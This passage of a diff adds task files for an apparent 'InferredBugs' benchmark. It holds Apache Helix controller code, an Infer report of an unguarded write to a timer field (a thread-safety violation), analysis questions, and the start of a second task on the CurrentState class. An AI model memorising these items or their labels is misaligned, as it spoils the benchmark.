+import org.apache.helix.api.listeners.LiveInstanceChangeListener;
+import org.apache.helix.api.listeners.MessageListener;
+import org.apache.helix.api.listeners.PreFetch;
+import org.apache.helix.HelixDataAccessor;
+import org.apache.helix.HelixManager;
+import org.apache.helix.NotificationContext;
+import org.apache.helix.NotificationContext.Type;
+import org.apache.helix.PropertyKey.Builder;
+import org.apache.helix.ZNRecord;
+import org.apache.helix.controller.pipeline.Pipeline;
+import org.apache.helix.controller.pipeline.PipelineRegistry;
+import org.apache.helix.controller.stages.AttributeName;
+import org.apache.helix.controller.stages.BestPossibleStateCalcStage;
+import org.apache.helix.controller.stages.ClusterDataCache;
+import org.apache.helix.controller.stages.ClusterEvent;
+import org.apache.helix.controller.stages.ClusterEventBlockingQueue;
+import org.apache.helix.controller.stages.ClusterEventType;
+import org.apache.helix.controller.stages.CompatibilityCheckStage;
+import org.apache.helix.controller.stages.CurrentStateComputationStage;
+import org.apache.helix.controller.stages.ExternalViewComputeStage;
+import org.apache.helix.controller.stages.IntermediateStateCalcStage;
+import org.apache.helix.controller.stages.MessageGenerationPhase;
+import org.apache.helix.controller.stages.MessageSelectionStage;
+import org.apache.helix.controller.stages.MessageThrottleStage;
+import org.apache.helix.controller.stages.PersistAssignmentStage;
+import org.apache.helix.controller.stages.ReadClusterDataStage;
+import org.apache.helix.controller.stages.ResourceComputationStage;
+import org.apache.helix.controller.stages.ResourceValidationStage;
+import org.apache.helix.controller.stages.TaskAssignmentStage;
+import org.apache.helix.model.ClusterConfig;
+import org.apache.helix.model.CurrentState;
+import org.apache.helix.model.IdealState;
+import org.apache.helix.model.InstanceConfig;
+import org.apache.helix.model.LiveInstance;
+import org.apache.helix.model.Message;
+import org.apache.helix.model.PauseSignal;
+import org.apache.helix.monitoring.mbeans.ClusterEventMonitor;
+import org.apache.helix.monitoring.mbeans.ClusterStatusMonitor;
+import org.apache.helix.task.TaskDriver;
+import org.apache.log4j.Logger;
+
+import static org.apache.helix.HelixConstants.ChangeType;
+
+/**
+ * Cluster Controllers main goal is to keep the cluster state as close as possible to Ideal State.
+ * It does this by listening to changes in cluster state and scheduling new tasks to get cluster
+ * state to best possible ideal state. Every instance of this class can control can control only one
+ * cluster Get all the partitions use IdealState, CurrentState and Messages <br>
+ * foreach partition <br>
+ * 1. get the (instance,state) from IdealState, CurrentState and PendingMessages <br>
+ * 2. compute best possible state (instance,state) pair. This needs previous step data and state
+ * model constraints <br>
+ * 3. compute the messages/tasks needed to move to 1 to 2 <br>
+ * 4. select the messages that can be sent, needs messages and state model constraints <br>
+ * 5. send messages
+ */
+public class GenericHelixController implements ConfigChangeListener, IdealStateChangeListener,
+    LiveInstanceChangeListener, MessageListener, CurrentStateChangeListener,
+    ControllerChangeListener, InstanceConfigChangeListener {
+  private static final Logger logger = Logger.getLogger(GenericHelixController.class.getName());
+  private static final long EVENT_THREAD_JOIN_TIMEOUT = 1000;
+  private static final int ASYNC_TASKS_THREADPOOL_SIZE = 40;
+  private final PipelineRegistry _registry;
+
+  final AtomicReference<Map<String, LiveInstance>> _lastSeenInstances;
+  final AtomicReference<Map<String, LiveInstance>> _lastSeenSessions;
+
+  ClusterStatusMonitor _clusterStatusMonitor;
+
+  /**
+   * A queue for controller events and a thread that will consume it
+   */
+  private final ClusterEventBlockingQueue _eventQueue;
+  private final ClusterEventProcessor _eventThread;
+
+  /**
+   * The _paused flag is checked by function handleEvent(), while if the flag is set handleEvent()
+   * will be no-op. Other event handling logic keeps the same when the flag is set.
+   */
+  private boolean _paused;
+
+  /**
+   * The timer that can periodically run the rebalancing pipeline. The timer will start if there is
+   * one resource group has the config to use the timer.
+   */
+  Timer _rebalanceTimer = null;
+  long _timerPeriod = Long.MAX_VALUE;
+
+  /**
+   * A cache maintained across pipelines
+   */
+  private ClusterDataCache _cache;
+  private ExecutorService _asyncTasksThreadPool;
+
+  private String _clusterName;
+
+  /**
+   * Default constructor that creates a default pipeline registry. This is sufficient in most cases,
+   * but if there is a some thing specific needed use another constructor where in you can pass a
+   * pipeline registry
+   */
+  public GenericHelixController() {
+    this(createDefaultRegistry());
+  }
+
+  public GenericHelixController(String clusterName) {
+    this(createDefaultRegistry(), clusterName);
+  }
+
+  class RebalanceTask extends TimerTask {
+    HelixManager _manager;
+
+    public RebalanceTask(HelixManager manager) {
+      _manager = manager;
+    }
+
+    @Override
+    public void run() {
+      //TODO: this is the temporary workaround
+      _cache.requireFullRefresh();
+      _cache.refresh(_manager.getHelixDataAccessor());
+      if (_cache.getLiveInstances() != null) {
+        NotificationContext changeContext = new NotificationContext(_manager);
+        changeContext.setType(NotificationContext.Type.CALLBACK);
+        synchronized (_manager) {
+          checkLiveInstancesObservation(new ArrayList<>(_cache.getLiveInstances().values()),
+              changeContext);
+        }
+      }
+
+      NotificationContext changeContext = new NotificationContext(_manager);
+      changeContext.setType(NotificationContext.Type.CALLBACK);
+      ClusterEvent event = new ClusterEvent(_clusterName,ClusterEventType.PeriodicalRebalance);
+      event.addAttribute(AttributeName.helixmanager.name(), changeContext.getManager());
+      event.addAttribute(AttributeName.changeContext.name(), changeContext);
+      List<ZNRecord> dummy = new ArrayList<ZNRecord>();
+      event.addAttribute(AttributeName.eventData.name(), dummy);
+      // Should be able to process
+      _eventQueue.put(event);
+      logger.info("Controller periodicalRebalance event triggered!");
+    }
+  }
+
+  // TODO who should stop this timer
+  /**
+   * Starts the rebalancing timer with the specified period. Start the timer if necessary; If the
+   * period is smaller than the current period, cancel the current timer and use the new period.
+   */
+  void startRebalancingTimer(long period, HelixManager manager) {
+    if (period != _timerPeriod) {
+      logger.info("Controller starting timer at period " + period);
+      if (_rebalanceTimer != null) {
+        _rebalanceTimer.cancel();
+      }
+      _rebalanceTimer = new Timer(true);
+      _timerPeriod = period;
+      _rebalanceTimer
+          .scheduleAtFixedRate(new RebalanceTask(manager), _timerPeriod, _timerPeriod);
+    } else {
+      logger.info("Controller already has timer at period " + _timerPeriod);
+    }
+  }
+
+  /**
+   * Stops the rebalancing timer
+   */
+  void stopRebalancingTimer() {
+    if (_rebalanceTimer != null) {
+      _rebalanceTimer.cancel();
+      _rebalanceTimer = null;
+    }
+    _timerPeriod = Integer.MAX_VALUE;
+  }
+
+  private static PipelineRegistry createDefaultRegistry() {
+    logger.info("createDefaultRegistry");
+    synchronized (GenericHelixController.class) {
+      PipelineRegistry registry = new PipelineRegistry();
+
+      // cluster data cache refresh
+      Pipeline dataRefresh = new Pipeline();
+      dataRefresh.addStage(new ReadClusterDataStage());
+
+      // rebalance pipeline
+      Pipeline rebalancePipeline = new Pipeline();
+      rebalancePipeline.addStage(new ResourceComputationStage());
+      rebalancePipeline.addStage(new ResourceValidationStage());
+      rebalancePipeline.addStage(new CurrentStateComputationStage());
+      rebalancePipeline.addStage(new BestPossibleStateCalcStage());
+      rebalancePipeline.addStage(new IntermediateStateCalcStage());
+      rebalancePipeline.addStage(new MessageGenerationPhase());
+      rebalancePipeline.addStage(new MessageSelectionStage());
+      rebalancePipeline.addStage(new MessageThrottleStage());
+      rebalancePipeline.addStage(new TaskAssignmentStage());
+      rebalancePipeline.addStage(new PersistAssignmentStage());
+
+      // external view generation
+      Pipeline externalViewPipeline = new Pipeline();
+      externalViewPipeline.addStage(new ExternalViewComputeStage());
+
+      // backward compatibility check
+      Pipeline liveInstancePipeline = new Pipeline();
+      liveInstancePipeline.addStage(new CompatibilityCheckStage());
+
+      registry.register(ClusterEventType.IdealStateChange, dataRefresh, rebalancePipeline);
+      registry.register(ClusterEventType.CurrentStateChange, dataRefresh, rebalancePipeline, externalViewPipeline);
+      registry.register(ClusterEventType.ConfigChange, dataRefresh, rebalancePipeline);
+      registry.register(ClusterEventType.LiveInstanceChange, dataRefresh, liveInstancePipeline, rebalancePipeline,
+          externalViewPipeline);
+
+      registry.register(ClusterEventType.MessageChange, dataRefresh, rebalancePipeline);
+      registry.register(ClusterEventType.ExternalViewChange, dataRefresh);
+      registry.register(ClusterEventType.Resume, dataRefresh, rebalancePipeline, externalViewPipeline);
+      registry
+          .register(ClusterEventType.PeriodicalRebalance, dataRefresh, rebalancePipeline, externalViewPipeline);
+      return registry;
+    }
+  }
+
+  public GenericHelixController(PipelineRegistry registry) {
+    this(registry, null);
+  }
+
+  private GenericHelixController(PipelineRegistry registry, String clusterName) {
+    _paused = false;
+    _registry = registry;
+    _lastSeenInstances = new AtomicReference<>();
+    _lastSeenSessions = new AtomicReference<>();
+    _clusterName = clusterName;
+    _asyncTasksThreadPool = Executors.newFixedThreadPool(ASYNC_TASKS_THREADPOOL_SIZE);
+    _cache = new ClusterDataCache(clusterName);
+    _cache.setAsyncTasksThreadPool(_asyncTasksThreadPool);
+    _eventQueue = new ClusterEventBlockingQueue();
+    _eventThread = new ClusterEventProcessor();
+    _eventThread.setDaemon(true);
+    _eventThread.start();
+  }
+
+  /**
+   * lock-always: caller always needs to obtain an external lock before call, calls to handleEvent()
+   * should be serialized
+   * @param event
+   */
+  protected synchronized void handleEvent(ClusterEvent event) {
+    HelixManager manager = event.getAttribute(AttributeName.helixmanager.name());
+    if (manager == null) {
+      logger.error("No cluster manager in event:" + event.getEventType());
+      return;
+    }
+
+    if (!manager.isLeader()) {
+      logger.error("Cluster manager: " + manager.getInstanceName() + " is not leader for " + manager
+          .getClusterName() + ". Pipeline will not be invoked");
+      return;
+    }
+
+    if (_paused) {
+      logger.info("Cluster " + manager.getClusterName() + " is paused. Ignoring the event:" + event
+          .getEventType());
+      return;
+    }
+
+    NotificationContext context = null;
+    if (event.getAttribute(AttributeName.changeContext.name()) != null) {
+      context = event.getAttribute(AttributeName.changeContext.name());
+    }
+
+    // Initialize _clusterStatusMonitor
+    if (context != null) {
+      if (context.getType() == Type.FINALIZE) {
+        stopRebalancingTimer();
+        logger.info("Get FINALIZE notification, skip the pipeline. Event :" + event.getEventType());
+        return;
+      } else {
+        if (_clusterStatusMonitor == null) {
+          _clusterStatusMonitor = new ClusterStatusMonitor(manager.getClusterName());
+        }
+        // TODO: should be in the initization of controller.
+        if (_cache != null) {
+          checkRebalancingTimer(manager, Collections.EMPTY_LIST, _cache.getClusterConfig());
+        }
+        TaskDriver driver = new TaskDriver(manager);
+        _clusterStatusMonitor.refreshWorkflowsStatus(driver);
+        _clusterStatusMonitor.refreshJobsStatus(driver);
+        event.addAttribute(AttributeName.clusterStatusMonitor.name(), _clusterStatusMonitor);
+      }
+    }
+
+    // add the cache
+    event.addAttribute(AttributeName.ClusterDataCache.name(), _cache);
+
+    List<Pipeline> pipelines = _registry.getPipelinesForEvent(event.getEventType());
+    if (pipelines == null || pipelines.size() == 0) {
+      logger.info("No pipeline to run for event:" + event.getEventType());
+      return;
+    }
+
+    logger.info("START: Invoking controller pipeline for event: " + event.getEventType());
+    long startTime = System.currentTimeMillis();
+    for (Pipeline pipeline : pipelines) {
+      try {
+        pipeline.handle(event);
+        pipeline.finish();
+      } catch (Exception e) {
+        logger.error("Exception while executing pipeline: " + pipeline
+            + ". Will not continue to next pipeline", e);
+        break;
+      }
+    }
+    long endTime = System.currentTimeMillis();
+    logger.info("END: Invoking controller pipeline for event: " + event.getEventType() + " for cluster "
+        + manager.getClusterName() + ", took " + (endTime - startTime) + " ms");
+
+    // report event process durations
+    if (_clusterStatusMonitor != null) {
+      NotificationContext notificationContext = event.getAttribute(AttributeName.changeContext.name());
+      long enqueueTime = event.getCreationTime();
+      long zkCallbackTime;
+      StringBuilder sb = new StringBuilder();
+      if (notificationContext != null) {
+        zkCallbackTime = notificationContext.getCreationTime();
+        _clusterStatusMonitor
+            .updateClusterEventDuration(ClusterEventMonitor.PhaseName.Callback.name(),
+                enqueueTime - zkCallbackTime);
+        sb.append(String.format(
+            "Callback time for event: " + event.getEventType() + " took: " + (enqueueTime
+                - zkCallbackTime) + " ms\n"));
+
+      }
+      _clusterStatusMonitor.updateClusterEventDuration(ClusterEventMonitor.PhaseName.InQueue.name(),
+          startTime - enqueueTime);
+      _clusterStatusMonitor
+          .updateClusterEventDuration(ClusterEventMonitor.PhaseName.TotalProcessed.name(),
+              endTime - startTime);
+      sb.append(String.format(
+          "InQueue time for event: " + event.getEventType() + " took: " + (startTime - enqueueTime)
+              + " ms\n"));
+      sb.append(String.format(
+          "TotalProcessed time for event: " + event.getEventType() + " took: " + (endTime - startTime)
+              + " ms"));
+      logger.info(sb.toString());
+    }
+  }
+
+
+  @Override
+  @PreFetch(enabled = false)
+  public void onStateChange(String instanceName, List<CurrentState> statesInfo,
+      NotificationContext changeContext) {
+    logger.info("START: GenericClusterController.onStateChange()");
+    if (changeContext == null || changeContext.getType() != Type.CALLBACK) {
+      _cache.requireFullRefresh();
+    } else {
+      _cache.updateDataChange(ChangeType.CURRENT_STATE);
+    }
+    ClusterEvent event = new ClusterEvent(_clusterName, ClusterEventType.CurrentStateChange);
+    event.addAttribute(AttributeName.helixmanager.name(), changeContext.getManager());
+    event.addAttribute(AttributeName.instanceName.name(), instanceName);
+    event.addAttribute(AttributeName.changeContext.name(), changeContext);
+
+    _eventQueue.put(event);
+    logger.info("END: GenericClusterController.onStateChange()");
+  }
+
+  @Override
+  @PreFetch(enabled = false)
+  public void onMessage(String instanceName, List<Message> messages,
+      NotificationContext changeContext) {
+    logger.info("START: GenericClusterController.onMessage() for cluster " + _clusterName);
+    if (changeContext == null || changeContext.getType() != Type.CALLBACK) {
+      _cache.requireFullRefresh();
+    } else {
+      _cache.updateDataChange(ChangeType.MESSAGE);
+    }
+
+    ClusterEvent event = new ClusterEvent(_clusterName, ClusterEventType.MessageChange);
+    event.addAttribute(AttributeName.helixmanager.name(), changeContext.getManager());
+    event.addAttribute(AttributeName.instanceName.name(), instanceName);
+    event.addAttribute(AttributeName.changeContext.name(), changeContext);
+
+    _eventQueue.put(event);
+
+    if (_clusterStatusMonitor != null && messages != null) {
+      _clusterStatusMonitor.addMessageQueueSize(instanceName, messages.size());
+    }
+
+    logger.info("END: GenericClusterController.onMessage() for cluster " + _clusterName);
+  }
+
+  @Override
+  public void onLiveInstanceChange(List<LiveInstance> liveInstances,
+      NotificationContext changeContext) {
+    logger.info("START: Generic GenericClusterController.onLiveInstanceChange() for cluster " + _clusterName);
+    if (changeContext == null || changeContext.getType() != Type.CALLBACK) {
+      _cache.requireFullRefresh();
+    }
+
+    if (liveInstances == null) {
+      liveInstances = Collections.emptyList();
+    }
+    _cache.setLiveInstances(liveInstances);
+
+    // Go though the live instance list and make sure that we are observing them
+    // accordingly. The action is done regardless of the paused flag.
+    if (changeContext.getType() == NotificationContext.Type.INIT
+        || changeContext.getType() == NotificationContext.Type.CALLBACK) {
+      checkLiveInstancesObservation(liveInstances, changeContext);
+    } else if (changeContext.getType() == NotificationContext.Type.FINALIZE) {
+      // on finalize, should remove all message/current-state listeners
+      logger.info("remove message/current-state listeners. lastSeenInstances: " + _lastSeenInstances
+          + ", lastSeenSessions: " + _lastSeenSessions);
+      liveInstances = Collections.emptyList();
+      checkLiveInstancesObservation(liveInstances, changeContext);
+    }
+
+    ClusterEvent event = new ClusterEvent(_clusterName, ClusterEventType.LiveInstanceChange);
+    event.addAttribute(AttributeName.helixmanager.name(), changeContext.getManager());
+    event.addAttribute(AttributeName.changeContext.name(), changeContext);
+    event.addAttribute(AttributeName.eventData.name(), liveInstances);
+    _eventQueue.put(event);
+    logger.info(
+        "END: Generic GenericClusterController.onLiveInstanceChange() for cluster " + _clusterName);
+  }
+
+  private void checkRebalancingTimer(HelixManager manager, List<IdealState> idealStates,
+      ClusterConfig clusterConfig) {
+    if (manager.getConfigAccessor() == null) {
+      logger.warn(manager.getInstanceName()
+          + " config accessor doesn't exist. should be in file-based mode.");
+      return;
+    }
+
+    long minPeriod = Long.MAX_VALUE;
+    if (clusterConfig != null) {
+      long period = clusterConfig.getRebalanceTimePeriod();
+      if (period > 0 && minPeriod > period) {
+        minPeriod = period;
+      }
+    }
+
+    // TODO: resource level rebalance does not make sense, to remove it!
+    for (IdealState idealState : idealStates) {
+      long period = idealState.getRebalanceTimerPeriod();
+      if (period > 0 && minPeriod > period) {
+        minPeriod = period;
+      }
+    }
+
+    if (minPeriod != Long.MAX_VALUE) {
+      startRebalancingTimer(minPeriod, manager);
+    }
+  }
+
+  @Override
+  @PreFetch(enabled = false)
+  public void onIdealStateChange(List<IdealState> idealStates, NotificationContext changeContext) {
+    logger.info(
+        "START: Generic GenericClusterController.onIdealStateChange() for cluster " + _clusterName);
+    if (changeContext == null || changeContext.getType() != Type.CALLBACK) {
+      _cache.requireFullRefresh();
+    } else {
+      _cache.updateDataChange(ChangeType.IDEAL_STATE);
+    }
+
+    ClusterEvent event = new ClusterEvent(_clusterName, ClusterEventType.IdealStateChange);
+    event.addAttribute(AttributeName.helixmanager.name(), changeContext.getManager());
+    event.addAttribute(AttributeName.changeContext.name(), changeContext);
+
+    _eventQueue.put(event);
+
+    if (changeContext.getType() != Type.FINALIZE) {
+      checkRebalancingTimer(changeContext.getManager(), idealStates, _cache.getClusterConfig());
+    }
+
+    logger.info("END: GenericClusterController.onIdealStateChange() for cluster " + _clusterName);
+  }
+
+  @Override
+  @PreFetch(enabled = false)
+  public void onConfigChange(List<InstanceConfig> configs, NotificationContext changeContext) {
+    logger.info("START: GenericClusterController.onConfigChange() for cluster " + _clusterName);
+    if (changeContext == null || changeContext.getType() != Type.CALLBACK) {
+      _cache.requireFullRefresh();
+    } else {
+      _cache.updateDataChange(ChangeType.INSTANCE_CONFIG);
+    }
+
+    ClusterEvent event = new ClusterEvent(_clusterName, ClusterEventType.ConfigChange);
+    event.addAttribute(AttributeName.changeContext.name(), changeContext);
+    event.addAttribute(AttributeName.helixmanager.name(), changeContext.getManager());
+
+    _eventQueue.put(event);
+
+    logger.info("END: GenericClusterController.onConfigChange() for cluster " + _clusterName);
+  }
+
+  @Override
+  @PreFetch(enabled = false)
+  public void onInstanceConfigChange(List<InstanceConfig> instanceConfigs,
+      NotificationContext changeContext) {
+    logger.info(
+        "START: GenericClusterController.onInstanceConfigChange() for cluster " + _clusterName);
+    onConfigChange(instanceConfigs, changeContext);
+    logger.info("END: GenericClusterController.onInstanceConfigChange() for cluster " + _clusterName);
+  }
+
+  @Override
+  public void onControllerChange(NotificationContext changeContext) {
+    logger.info("START: GenericClusterController.onControllerChange() for cluster " + _clusterName);
+    _cache.requireFullRefresh();
+    if (changeContext != null && changeContext.getType() == Type.FINALIZE) {
+      logger.info("GenericClusterController.onControllerChange() FINALIZE for cluster " + _clusterName);
+      return;
+    }
+    HelixDataAccessor accessor = changeContext.getManager().getHelixDataAccessor();
+
+    // double check if this controller is the leader
+    Builder keyBuilder = accessor.keyBuilder();
+    LiveInstance leader = accessor.getProperty(keyBuilder.controllerLeader());
+    if (leader == null) {
+      logger
+          .warn("No controller exists for cluster:" + changeContext.getManager().getClusterName());
+      return;
+    } else {
+      String leaderName = leader.getInstanceName();
+
+      String instanceName = changeContext.getManager().getInstanceName();
+      if (leaderName == null || !leaderName.equals(instanceName)) {
+        logger.warn("leader name does NOT match, my name: " + instanceName + ", leader: " + leader);
+        return;
+      }
+    }
+
+    PauseSignal pauseSignal = accessor.getProperty(keyBuilder.pause());
+    if (pauseSignal != null) {
+      if (!_paused) {
+        _paused = true;
+        logger.info("controller is now paused");
+      }
+    } else {
+      if (_paused) {
+        _paused = false;
+        logger.info("controller is now resumed");
+        ClusterEvent event = new ClusterEvent(_clusterName, ClusterEventType.Resume);
+        event.addAttribute(AttributeName.changeContext.name(), changeContext);
+        event.addAttribute(AttributeName.helixmanager.name(), changeContext.getManager());
+        event.addAttribute(AttributeName.eventData.name(), pauseSignal);
+        _eventQueue.put(event);
+      }
+    }
+    if (_clusterStatusMonitor == null) {
+      _clusterStatusMonitor = new ClusterStatusMonitor(changeContext.getManager().getClusterName());
+    }
+    _clusterStatusMonitor.setEnabled(!_paused);
+    logger.info("END: GenericClusterController.onControllerChange() for cluster " + _clusterName);
+  }
+
+  /**
+   * Go through the list of liveinstances in the cluster, and add currentstateChange listener and
+   * Message listeners to them if they are newly added. For current state change, the observation is
+   * tied to the session id of each live instance.
+   */
+  protected void checkLiveInstancesObservation(List<LiveInstance> liveInstances,
+      NotificationContext changeContext) {
+
+    // construct maps for current live-instances
+    Map<String, LiveInstance> curInstances = new HashMap<String, LiveInstance>();
+    Map<String, LiveInstance> curSessions = new HashMap<>();
+    for (LiveInstance liveInstance : liveInstances) {
+      curInstances.put(liveInstance.getInstanceName(), liveInstance);
+      curSessions.put(liveInstance.getSessionId(), liveInstance);
+    }
+
+    // TODO: remove the synchronization here once we move this update into dataCache.
+    synchronized (_lastSeenInstances) {
+      Map<String, LiveInstance> lastInstances = _lastSeenInstances.get();
+      Map<String, LiveInstance> lastSessions = _lastSeenSessions.get();
+
+      HelixManager manager = changeContext.getManager();
+      Builder keyBuilder = new Builder(manager.getClusterName());
+      if (lastSessions != null) {
+        for (String session : lastSessions.keySet()) {
+          if (!curSessions.containsKey(session)) {
+            // remove current-state listener for expired session
+            String instanceName = lastSessions.get(session).getInstanceName();
+            manager.removeListener(keyBuilder.currentStates(instanceName, session), this);
+          }
+        }
+      }
+
+      if (lastInstances != null) {
+        for (String instance : lastInstances.keySet()) {
+          if (!curInstances.containsKey(instance)) {
+            // remove message listener for disconnected instances
+            manager.removeListener(keyBuilder.messages(instance), this);
+          }
+        }
+      }
+
+      for (String session : curSessions.keySet()) {
+        if (lastSessions == null || !lastSessions.containsKey(session)) {
+          String instanceName = curSessions.get(session).getInstanceName();
+          try {
+            // add current-state listeners for new sessions
+            manager.addCurrentStateChangeListener(this, instanceName, session);
+            logger.info(manager.getInstanceName() + " added current-state listener for instance: "
+                + instanceName + ", session: " + session + ", listener: " + this);
+          } catch (Exception e) {
+            logger.error("Fail to add current state listener for instance: " + instanceName
+                + " with session: " + session, e);
+          }
+        }
+      }
+
+      for (String instance : curInstances.keySet()) {
+        if (lastInstances == null || !lastInstances.containsKey(instance)) {
+          try {
+            // add message listeners for new instances
+            manager.addMessageListener(this, instance);
+            logger.info(manager.getInstanceName() + " added message listener for " + instance
+                + ", listener: " + this);
+          } catch (Exception e) {
+            logger.error("Fail to add message listener for instance: " + instance, e);
+          }
+        }
+      }
+
+      // update last-seen
+      _lastSeenInstances.set(curInstances);
+      _lastSeenSessions.set(curSessions);
+    }
+  }
+
+  public void shutdownClusterStatusMonitor(String clusterName) {
+    if (_clusterStatusMonitor != null) {
+      logger.info("Shut down _clusterStatusMonitor for cluster " + clusterName);
+      _clusterStatusMonitor.reset();
+      _clusterStatusMonitor = null;
+    }
+  }
+
+  public void shutdown() throws InterruptedException {
+    stopRebalancingTimer();
+    while (_eventThread.isAlive()) {
+      _eventThread.interrupt();
+      _eventThread.join(EVENT_THREAD_JOIN_TIMEOUT);
+    }
+    _asyncTasksThreadPool.shutdown();
+  }
+
+  private class ClusterEventProcessor extends Thread {
+    @Override
+    public void run() {
+      logger.info("START ClusterEventProcessor thread  for cluster " + _clusterName);
+      while (!isInterrupted()) {
+        try {
+          ClusterEvent event = _eventQueue.take();
+          handleEvent(event);
+        } catch (InterruptedException e) {
+          logger.warn("ClusterEventProcessor interrupted", e);
+          interrupt();
+        } catch (ZkInterruptedException e) {
+          logger.warn("ClusterEventProcessor caught a ZK connection interrupt", e);
+          interrupt();
+        } catch (ThreadDeath death) {
+          throw death;
+        } catch (Throwable t) {
+          logger.error("ClusterEventProcessor failed while running the controller pipeline", t);
+        }
+      }
+      logger.info("END ClusterEventProcessor thread");
+    }
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `org.apache.helix.controller.GenericHelixController.stopRebalancingTimer` writes to field `this.org.apache.helix.controller.GenericHelixController._rebalanceTimer` outside of synchronization.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void GenericHelixController.stopRebalancingTimer()
+
+### Procedure Id:
+org.apache.helix.controller.GenericHelixController.stopRebalancingTimer():void.300691c867b9ec153986206771373244
+
+### File:
+helix-core/src/main/java/org/apache/helix/controller/GenericHelixController.java
+
+### Key:
+GenericHelixController.java|stopRebalancingTimer|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+97024edbb590ae21918f376b0751a262
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9626/instruction.md b/inferredbugs-9626/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..f68b3283c12c4facf51efd9c0b9d955013bea7f2
--- /dev/null
+++ b/inferredbugs-9626/instruction.md
@@ -0,0 +1,315 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** helix
+**Bug ID:** 46
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.apache.helix.model;
+
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+
+import java.util.HashMap;
+import java.util.Map;
+import java.util.TreeMap;
+
+import org.apache.helix.HelixProperty;
+import org.apache.helix.ZNRecord;
+import org.apache.log4j.Logger;
+
+/**
+ * Current states of partitions in a resource for an instance.
+ */
+public class CurrentState extends HelixProperty {
+  private static Logger LOG = Logger.getLogger(CurrentState.class);
+
+  /**
+   * Lookup keys for the current state
+   */
+  public enum CurrentStateProperty {
+    SESSION_ID,
+    CURRENT_STATE,
+    REQUESTED_STATE,
+    INFO,
+    STATE_MODEL_DEF,
+    STATE_MODEL_FACTORY_NAME,
+    RESOURCE // ,
+             // BUCKET_SIZE
+  }
+
+  /**
+   * Instantiate a current state with a resource
+   * @param resourceName name identifying the resource
+   */
+  public CurrentState(String resourceName) {
+    super(resourceName);
+  }
+
+  /**
+   * Instantiate a current state with a pre-populated ZNRecord
+   * @param record a ZNRecord corresponding to the current state
+   */
+  public CurrentState(ZNRecord record) {
+    super(record);
+  }
+
+  /**
+   * Get the name of the resource
+   * @return String resource identifier
+   */
+  public String getResourceName() {
+    return _record.getId();
+  }
+
+  /**
+   * Get the partitions on this instance and the state that each partition is currently in.
+   * @return (partition, state) pairs
+   */
+  public Map<String, String> getPartitionStateMap() {
+    Map<String, String> map = new HashMap<String, String>();
+    Map<String, Map<String, String>> mapFields = _record.getMapFields();
+    for (String partitionName : mapFields.keySet()) {
+      Map<String, String> tempMap = mapFields.get(partitionName);
+      if (tempMap != null) {
+        map.put(partitionName, tempMap.get(CurrentStateProperty.CURRENT_STATE.toString()));
+      }
+    }
+    return map;
+  }
+
+  /**
+   * Get the session that this current state corresponds to
+   * @return String session identifier
+   */
+  public String getSessionId() {
+    return _record.getSimpleField(CurrentStateProperty.SESSION_ID.toString());
+  }
+
+  /**
+   * Set the session that this current state corresponds to
+   * @param sessionId String session identifier
+   */
+  public void setSessionId(String sessionId) {
+    _record.setSimpleField(CurrentStateProperty.SESSION_ID.toString(), sessionId);
+  }
+
+  /**
+   * Get the state of a partition on this instance
+   * @param partitionName the name of the partition
+   * @return the state, or null if the partition is not present
+   */
+  public String getState(String partitionName) {
+    Map<String, Map<String, String>> mapFields = _record.getMapFields();
+    Map<String, String> mapField = mapFields.get(partitionName);
+    if (mapField != null) {
+      return mapField.get(CurrentStateProperty.CURRENT_STATE.toString());
+    }
+    return null;
+  }
+
+  public String getInfo(String partitionName) {
+    Map<String, Map<String, String>> mapFields = _record.getMapFields();
+    Map<String, String> mapField = mapFields.get(partitionName);
+    if (mapField != null) {
+      return mapField.get(CurrentStateProperty.INFO.name());
+    }
+    return null;
+  }
+
+  public String getRequestedState(String partitionName) {
+    Map<String, Map<String, String>> mapFields = _record.getMapFields();
+    Map<String, String> mapField = mapFields.get(partitionName);
+    if (mapField != null) {
+      return mapField.get(CurrentStateProperty.REQUESTED_STATE.name());
+    }
+    return null;
+  }
+
+  /**
+   * Set the state model that the resource follows
+   * @param stateModelName an identifier of the state model
+   */
+  public void setStateModelDefRef(String stateModelName) {
+    _record.setSimpleField(CurrentStateProperty.STATE_MODEL_DEF.toString(), stateModelName);
+  }
+
+  /**
+   * Get the state model that the resource follows
+   * @return an identifier of the state model
+   */
+  public String getStateModelDefRef() {
+    return _record.getSimpleField(CurrentStateProperty.STATE_MODEL_DEF.toString());
+  }
+
+  /**
+   * Set the state that a partition is currently in on this instance
+   * @param partitionName the name of the partition
+   * @param state the state of the partition
+   */
+  public void setState(String partitionName, String state) {
+    Map<String, Map<String, String>> mapFields = _record.getMapFields();
+    if (mapFields.get(partitionName) == null) {
